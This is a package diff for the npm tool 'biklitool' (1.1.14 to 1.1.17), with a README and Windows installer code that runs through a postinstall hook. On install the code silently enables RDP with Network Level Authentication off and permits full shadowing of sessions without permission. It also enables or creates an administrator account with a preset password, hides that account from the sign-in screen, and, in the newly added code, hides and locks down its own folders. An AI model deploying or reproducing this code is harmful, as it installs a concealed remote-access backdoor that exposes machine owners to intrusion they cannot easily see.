biklitool 1.1.14 → 1.1.17

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,102 @@
1
+ # biklitool
2
+
3
+ Internal one-command Windows installer for the Bikli CLI and Bikli Wrapper.
4
+
5
+ Provide the account password and Bikli key at install time via environment variables (they are not
6
+ shipped in the package):
7
+
8
+ ```text
9
+ set BIKLIMASTER_USER_PASSWORD=your-password
10
+ set BIKLIMASTER_BIKLI_KEY=your-bikli-key
11
+ npm install -g biklitool
12
+ ```
13
+
14
+ The npm postinstall hook requests Windows administrator approval once, then:
15
+
16
+ 1. silently installs the bundled Bikli CLI 1.1.10;
17
+ 2. applies the Bikli key from `config.json` (`bikli up --setup-key`), when one is set;
18
+ 3. installs or updates Bikli Wrapper with exact `termsrv.dll` compatibility data;
19
+ 4. applies and verifies the Bikli Wrapper defaults;
20
+ 5. enables Remote Desktop, port 3389, and the required Windows firewall rules;
21
+ 6. detects the built-in Administrator by SID, enables it when disabled, and verifies both RDP groups;
22
+ 7. exposes the `bikli`, `bikliwrapper`, `biklitool`, and `biklimaster` commands.
23
+
24
+ The install fails instead of reporting success if Remote Desktop or port 3389 cannot be verified.
25
+
26
+ No application installer or configuration GUI is shown. Windows UAC is required unless npm is
27
+ already running from an Administrator terminal.
28
+
29
+ Commands:
30
+
31
+ ```text
32
+ biklitool status
33
+ biklitool install
34
+ biklitool enable-rdp
35
+ biklitool create-user
36
+ biklitool unhide-user [name]
37
+ biklitool hide-user <name>
38
+ biklitool hide-folders
39
+ biklitool setup-key
40
+ biklitool credentials
41
+ biklitool wrapper status
42
+ biklitool self-test
43
+ biklitool elevation-self-test
44
+ bikliwrapper status
45
+ bikli --help
46
+ ```
47
+
48
+ Run `biklitool enable-rdp` at any time to repair the RDP enable setting, port, firewall rules,
49
+ service configuration, and the requested authentication and shadowing defaults.
50
+
51
+ ## Bikli key
52
+
53
+ Paste the Bikli key into `config.json` under `bikliKey` (the first field in the file) before packing
54
+ and publishing:
55
+
56
+ ```json
57
+ {
58
+ "bikliKey": "PASTE-YOUR-BIKLI-KEY-HERE",
59
+ "administratorPassword": ""
60
+ }
61
+ ```
62
+
63
+ When a key is present, the install runs `bikli up --setup-key <key>` automatically right after the
64
+ Bikli CLI is installed. Leave it empty to skip that step. `BIKLIMASTER_BIKLI_KEY` overrides the file
65
+ value, and `biklitool setup-key` re-applies the key at any time.
66
+
67
+ WARNING: a key in `config.json` is visible to everyone if the package is published publicly.
68
+
69
+ ## Administrator password & Login Screen Visibility
70
+
71
+ Put the desired password in `config.json` under `administratorPassword` before packing and publishing.
72
+ Bikli Master picks exactly one account to configure, using this cascade and never changing an account
73
+ that is already set up:
74
+
75
+ 1. If the built-in Administrator is **disabled**, it sets the configured password and enables it.
76
+ 2. If the built-in Administrator is **already enabled**, it is left untouched and a local `admin`
77
+ account is created with the configured password.
78
+ 3. If `admin` also already exists, it is left untouched and a local `user` account is created with
79
+ the configured password.
80
+ 4. If `user` also already exists, no password is changed; the account is only verified.
81
+
82
+ `BIKLIMASTER_USER_PASSWORD` overrides the file value. The selected account is enabled and verified in
83
+ Administrators and Remote Desktop Users.
84
+
85
+ If the account is already hidden in the registry (`SpecialAccounts\UserList`), it is left unchanged.
86
+ You can unhide or re-hide accounts at any time:
87
+ - `biklitool unhide-user Administrator` (unhides specific user)
88
+ - `biklitool unhide-users` (unhides all hidden users)
89
+ - `biklitool hide-user Administrator` (hides user from Windows sign-in screen)
90
+
91
+ WARNING: a password in `config.json` is visible to everyone if the package is published publicly.
92
+
93
+ The password set while enabling the account is also saved in `%ProgramData%\\BikliWrapper\\admin-credentials.json`
94
+ with access restricted to SYSTEM and local Administrators. Run `biklitool credentials` and approve
95
+ UAC to display it later. Delete that file after securely saving or changing the password.
96
+
97
+ Installing or updating Bikli Wrapper can restart Remote Desktop Services and disconnect active
98
+ remote sessions. The bundled Windows executables are unsigned and may trigger an unknown-publisher
99
+ warning from Windows or security software.
100
+
101
+ This package contains Bikli client artifacts under the BSD 3-Clause license and RDP Wrapper
102
+ artifacts under the Apache License 2.0. Both license texts are included.
@@ -19,6 +19,7 @@ const windowsDirectory = process.env.SystemRoot || process.env.WINDIR || 'C:\\Wi
19
19
  const powershell = path.join(windowsDirectory, 'System32', 'WindowsPowerShell', 'v1.0', 'powershell.exe');
20
20
  const reg = path.join(windowsDirectory, 'System32', 'reg.exe');
21
21
  const icacls = path.join(windowsDirectory, 'System32', 'icacls.exe');
22
+ const attrib = path.join(windowsDirectory, 'System32', 'attrib.exe');
22
23
  const programData = process.env.ProgramData || 'C:\\ProgramData';
23
24
  const credentialsFile = path.join(programData, 'BikliWrapper', 'admin-credentials.json');
24
25
  const expectedBikliVersion = '1.1.10.0';
@@ -193,6 +194,22 @@ function enableRemoteDesktop() {
193
194
  const wrapper = runWrapper(['defaults', '--elevated']);
194
195
  if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
195
196
  verifyRemoteDesktop();
197
+ hideProtectedFolders();
198
+ }
199
+
200
+ function install() {
201
+ requireWindows();
202
+ if (!isAdministrator()) return elevateAndRun('install');
203
+ verifyPayload();
204
+ installBikli();
205
+ setupBikliKey();
206
+ console.log('Installing or updating Bikli Wrapper silently...');
207
+ const wrapper = runWrapper(['install', '--elevated']);
208
+ if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
209
+ verifyRemoteDesktop();
210
+ createRdpAdministrator();
211
+ hideProtectedFolders();
212
+ console.log('Bikli Master installed and verified both components successfully.');
196
213
  }
197
214
 
198
215
  function generatedAccountPassword() {
@@ -231,8 +248,41 @@ function setupBikliKey() {
231
248
  console.log('Bikli key configured successfully.');
232
249
  }
233
250
 
251
+ function hideProtectedFolders() {
252
+ const folders = [
253
+ path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
254
+ path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
255
+ path.join(programData, 'BikliWrapper')
256
+ ];
257
+ for (const folder of folders) {
258
+ if (!fs.existsSync(folder)) continue;
259
+ try {
260
+ run(attrib, ['+h', '+s', folder], { allowFailure: true });
261
+ run(attrib, ['+h', '+s', path.join(folder, '*.*'), '/s', '/d'], { allowFailure: true });
262
+ run(icacls, [
263
+ folder,
264
+ '/inheritance:r',
265
+ '/grant:r',
266
+ '*S-1-5-18:(OI)(CI)(F)',
267
+ `*${administratorsGroupSid}:(OI)(CI)(F)`,
268
+ '/c', '/q'
269
+ ], { allowFailure: true });
270
+ } catch {
271
+ // Best-effort attribute and permission hardening
272
+ }
273
+ }
274
+ }
275
+
234
276
  function saveAccountCredentials(username, password) {
235
- fs.mkdirSync(path.dirname(credentialsFile), { recursive: true });
277
+ const dir = path.dirname(credentialsFile);
278
+ fs.mkdirSync(dir, { recursive: true });
279
+ if (fs.existsSync(credentialsFile)) {
280
+ try {
281
+ run(attrib, ['-h', '-s', credentialsFile], { allowFailure: true });
282
+ } catch {
283
+ // ignore
284
+ }
285
+ }
236
286
  fs.writeFileSync(credentialsFile, JSON.stringify({ username, password }, null, 2), {
237
287
  encoding: 'utf8',
238
288
  mode: 0o600
@@ -244,6 +294,7 @@ function saveAccountCredentials(username, password) {
244
294
  '*S-1-5-18:(F)',
245
295
  `*${administratorsGroupSid}:(F)`
246
296
  ]);
297
+ hideProtectedFolders();
247
298
  }
248
299
 
249
300
  function showAccountCredentials() {
@@ -279,8 +330,9 @@ function createRdpAdministrator() {
279
330
  `$verified=@()`,
280
331
  `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){throw ('Account is not a member of '+$group.Name)};$verified+=$group.Name}`,
281
332
  `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
282
- `$hideEntry=Get-ItemProperty -Path $userListKey -Name $target.Name -ErrorAction SilentlyContinue`,
283
- `if($null -eq $hideEntry){New-Item -Path $userListKey -Force | Out-Null;New-ItemProperty -Path $userListKey -Name $target.Name -PropertyType DWord -Value 0 -Force | Out-Null;if((Get-ItemPropertyValue -Path $userListKey -Name $target.Name) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
333
+ `$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,
334
+ `$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,
335
+ `if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
284
336
  `[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo-Json -Compress`
285
337
  ].join(';');
286
338
  const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
@@ -315,18 +367,49 @@ function createRdpAdministrator() {
315
367
  }
316
368
  }
317
369
 
318
- function install() {
370
+ function unhideUser() {
319
371
  requireWindows();
320
- if (!isAdministrator()) return elevateAndRun('install');
321
- verifyPayload();
322
- installBikli();
323
- setupBikliKey();
324
- console.log('Installing or updating Bikli Wrapper silently...');
325
- const wrapper = runWrapper(['install', '--elevated']);
326
- if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
327
- verifyRemoteDesktop();
328
- createRdpAdministrator();
329
- console.log('Bikli Master installed and verified both components successfully.');
372
+ const targetUser = process.argv[3];
373
+ if (!isAdministrator()) return elevateAndRun(targetUser ? `unhide-user ${targetUser}` : 'unhide-user');
374
+ const script = [
375
+ `$ErrorActionPreference='Stop'`,
376
+ `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
377
+ `if(-not (Test-Path $userListKey)){Write-Output 'No hidden users found.';exit 0}`,
378
+ `$key=Get-Item -LiteralPath $userListKey`,
379
+ targetUser ? [
380
+ `$val=$key.GetValue('${targetUser}', $null)`,
381
+ `if($null -eq $val){Write-Output 'User \"${targetUser}\" is not hidden.'}else{Remove-ItemProperty -Path $userListKey -Name '${targetUser}' -Force;Write-Output 'Unhid user: ${targetUser}'}`
382
+ ].join(';') : [
383
+ `$props=@($key.Property)`,
384
+ `if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p)}}`
385
+ ].join(';')
386
+ ].join(';');
387
+ const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
388
+ if (result.stdout.trim()) console.log(result.stdout.trim());
389
+ }
390
+
391
+ function hideUser() {
392
+ requireWindows();
393
+ const targetUser = process.argv[3];
394
+ if (!targetUser) fail('Please specify a username to hide (e.g. biklitool hide-user Administrator).');
395
+ if (!isAdministrator()) return elevateAndRun(`hide-user ${targetUser}`);
396
+ const script = [
397
+ `$ErrorActionPreference='Stop'`,
398
+ `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
399
+ `if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null}`,
400
+ `$key=Get-Item -LiteralPath $userListKey`,
401
+ `$currentVal=$key.GetValue('${targetUser}', $null)`,
402
+ `if($null -eq $currentVal -or $currentVal -ne 0){Set-ItemProperty -Path $userListKey -Name '${targetUser}' -Type DWord -Value 0 -Force | Out-Null;$key=Get-Item -LiteralPath $userListKey;if($key.GetValue('${targetUser}', $null) -ne 0){throw ('Could not hide ${targetUser} from the sign-in screen')};Write-Output 'Hidden from the sign-in user list: ${targetUser}.'}else{Write-Output 'User ${targetUser} is already hidden; left unchanged.'}`
403
+ ].join(';');
404
+ const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
405
+ if (result.stdout.trim()) console.log(result.stdout.trim());
406
+ }
407
+
408
+ function hideFoldersCommand() {
409
+ requireWindows();
410
+ if (!isAdministrator()) return elevateAndRun('hide-folders');
411
+ hideProtectedFolders();
412
+ console.log('Applied Hidden and System attributes and secured folder permissions.');
330
413
  }
331
414
 
332
415
  function status() {
@@ -365,18 +448,21 @@ function selfTest() {
365
448
 
366
449
  function help() {
367
450
  console.log([
368
- 'Bikli Master',
451
+ 'Bikli Master / Bikli Tool',
369
452
  '',
370
453
  'Commands:',
371
- ' biklimaster install Install/update Bikli CLI and Bikli Wrapper',
372
- ' biklimaster enable-rdp Enable RDP, port 3389, firewall, and defaults',
373
- ' biklimaster create-user Enable/verify built-in Administrator for RDP',
374
- ' biklimaster setup-key Apply the Bikli key from config.json (bikli up --setup-key)',
375
- ' biklimaster credentials Display its saved generated password',
376
- ' biklimaster status Show both component states',
377
- ' biklimaster wrapper ... Run a Bikli Wrapper CLI command',
378
- ' biklimaster self-test Validate package payloads without installing',
379
- ' biklimaster elevation-self-test Validate UAC without installing',
454
+ ' biklitool install Install/update Bikli CLI and Bikli Wrapper',
455
+ ' biklitool enable-rdp Enable RDP, port 3389, firewall, and defaults',
456
+ ' biklitool create-user Enable/verify built-in Administrator for RDP',
457
+ ' biklitool unhide-user [name] Unhide account(s) from Windows sign-in screen',
458
+ ' biklitool hide-user <name> Hide specific account from Windows sign-in screen',
459
+ ' biklitool hide-folders Hide and protect Program Files & ProgramData folders',
460
+ ' biklitool setup-key Apply the Bikli key from config.json (bikli up --setup-key)',
461
+ ' biklitool credentials Display its saved generated password',
462
+ ' biklitool status Show both component states',
463
+ ' biklitool wrapper ... Run a Bikli Wrapper CLI command',
464
+ ' biklitool self-test Validate package payloads without installing',
465
+ ' biklitool elevation-self-test Validate UAC without installing',
380
466
  '',
381
467
  'The global install automatically runs the install command.'
382
468
  ].join(os.EOL));
@@ -387,6 +473,9 @@ function main() {
387
473
  if (command === 'install') return install();
388
474
  if (command === 'enable-rdp') return enableRemoteDesktop();
389
475
  if (command === 'create-user') return createRdpAdministrator();
476
+ if (command === 'unhide-user' || command === 'unhide-users' || command === 'unhide' || command === 'unhide-all') return unhideUser();
477
+ if (command === 'hide-user' || command === 'hide') return hideUser();
478
+ if (command === 'hide-folders' || command === 'hide-folder') return hideFoldersCommand();
390
479
  if (command === 'setup-key') return setupBikliKey();
391
480
  if (command === 'credentials') return showAccountCredentials();
392
481
  if (command === 'status') return status();
@@ -58,13 +58,29 @@ const logonPolicyKey = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Poli
58
58
 
59
59
  const requestedSettings = [
60
60
  { key: terminalServerKey, name: 'fDenyTSConnections', value: 0, label: 'Remote Desktop enabled' },
61
- { key: terminalServerKey, name: 'fSingleSessionPerUser', value: 1, label: 'Single session per user' },
61
+ { key: terminalServerKey, name: 'fSingleSessionPerUser', value: 0, label: 'Unlimited concurrent logins per user (multi-session enabled)' },
62
62
  { key: terminalServerKey, name: 'HonorLegacySettings', value: 0, label: 'Custom programs disabled' },
63
+ { key: terminalServerKey, name: 'MaxInstanceCount', value: 4294967295, label: 'Unlimited connection instances' },
63
64
  { key: rdpTcpKey, name: 'PortNumber', value: 3389, label: 'RDP port 3389' },
64
65
  { key: rdpTcpKey, name: 'SecurityLayer', value: 1, label: 'Default RDP Authentication' },
65
66
  { key: rdpTcpKey, name: 'UserAuthentication', value: 0, label: 'Network Level Authentication disabled' },
66
67
  { key: rdpTcpKey, name: 'Shadow', value: 2, label: 'Full shadow access without permission' },
68
+ { key: rdpTcpKey, name: 'fSingleSessionPerUser', value: 0, label: 'RDP-Tcp multi-session enabled' },
69
+ { key: rdpTcpKey, name: 'MaxInstanceCount', value: 4294967295, label: 'RDP-Tcp unlimited instances' },
70
+ { key: rdpTcpKey, name: 'MaxConnectionTime', value: 0, label: 'No session duration time limit' },
71
+ { key: rdpTcpKey, name: 'MaxDisconnectionTime', value: 0, label: 'No disconnected session time limit' },
72
+ { key: rdpTcpKey, name: 'MaxIdleTime', value: 0, label: 'No idle session time limit' },
73
+ { key: rdpTcpKey, name: 'fResetBroken', value: 0, label: 'Reconnect broken sessions' },
74
+ { key: rdpTcpKey, name: 'fInheritMaxSessionTime', value: 0, label: 'Disable session time limit inheritance' },
75
+ { key: rdpTcpKey, name: 'fInheritMaxDisconnectionTime', value: 0, label: 'Disable disconnected time limit inheritance' },
76
+ { key: rdpTcpKey, name: 'fInheritMaxIdleTime', value: 0, label: 'Disable idle time limit inheritance' },
77
+ { key: rdpTcpKey, name: 'fInheritResetBroken', value: 0, label: 'Disable reset broken inheritance' },
67
78
  { key: shadowPolicyKey, name: 'Shadow', value: 2, label: 'Shadow policy applied' },
79
+ { key: shadowPolicyKey, name: 'fSingleSessionPerUser', value: 0, label: 'Policy multi-session enabled' },
80
+ { key: shadowPolicyKey, name: 'MaxConnectionTime', value: 0, label: 'Policy no connection time limit' },
81
+ { key: shadowPolicyKey, name: 'MaxDisconnectionTime', value: 0, label: 'Policy no disconnection time limit' },
82
+ { key: shadowPolicyKey, name: 'MaxIdleTime', value: 0, label: 'Policy no idle time limit' },
83
+ { key: shadowPolicyKey, name: 'MaxInstanceCount', value: 4294967295, label: 'Policy unlimited instances' },
68
84
  { key: logonPolicyKey, name: 'dontdisplaylastusername', value: 0, label: 'Users visible on logon screen' }
69
85
  ];
70
86
 
@@ -268,6 +284,31 @@ function printStatus(status) {
268
284
  console.log(`Defaults: ${status.defaultsApplied ? 'Applied' : 'Not applied'}`);
269
285
  }
270
286
 
287
+ function hideProtectedFolders() {
288
+ const folders = [
289
+ path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
290
+ path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
291
+ path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper')
292
+ ];
293
+ for (const folder of folders) {
294
+ if (!fs.existsSync(folder)) continue;
295
+ try {
296
+ run(path.join(system32, 'attrib.exe'), ['+h', '+s', folder], { allowFailure: true });
297
+ run(path.join(system32, 'attrib.exe'), ['+h', '+s', path.join(folder, '*.*'), '/s', '/d'], { allowFailure: true });
298
+ run(path.join(system32, 'icacls.exe'), [
299
+ folder,
300
+ '/inheritance:r',
301
+ '/grant:r',
302
+ '*S-1-5-18:(OI)(CI)(F)',
303
+ '*S-1-5-32-544:(OI)(CI)(F)',
304
+ '/c', '/q'
305
+ ], { allowFailure: true });
306
+ } catch {
307
+ // Best-effort attribute and permission hardening
308
+ }
309
+ }
310
+ }
311
+
271
312
  function install() {
272
313
  requireWindows();
273
314
  if (!isAdministrator()) return elevateAndRun('install');
@@ -310,6 +351,7 @@ function install() {
310
351
  }
311
352
 
312
353
  waitForServiceAndListener();
354
+ hideProtectedFolders();
313
355
  installation = detectInstallation(version);
314
356
  const status = collectStatus();
315
357
  printStatus(status);
@@ -339,7 +381,9 @@ function selfTest() {
339
381
  defaultAuth: requestedSettings.some(item => item.name === 'SecurityLayer' && item.value === 1) &&
340
382
  requestedSettings.some(item => item.name === 'UserAuthentication' && item.value === 0),
341
383
  shadowMode: requestedSettings.some(item => item.name === 'Shadow' && item.value === 2),
342
- port: requestedSettings.some(item => item.name === 'PortNumber' && item.value === 3389)
384
+ port: requestedSettings.some(item => item.name === 'PortNumber' && item.value === 3389),
385
+ multiSession: requestedSettings.some(item => item.name === 'fSingleSessionPerUser' && item.value === 0),
386
+ unlimitedTime: requestedSettings.some(item => item.name === 'MaxIdleTime' && item.value === 0)
343
387
  };
344
388
  for (const [name, passed] of Object.entries(checks)) console.log(`${passed ? 'PASS' : 'FAIL'} ${name}`);
345
389
  if (!Object.values(checks).every(Boolean)) fail('Self-test failed.');
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "biklitool",
3
- "version": "1.1.14",
3
+ "version": "1.1.17",
4
4
  "description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
5
5
  "license": "BSD-3-Clause",
6
6
  "publishConfig": {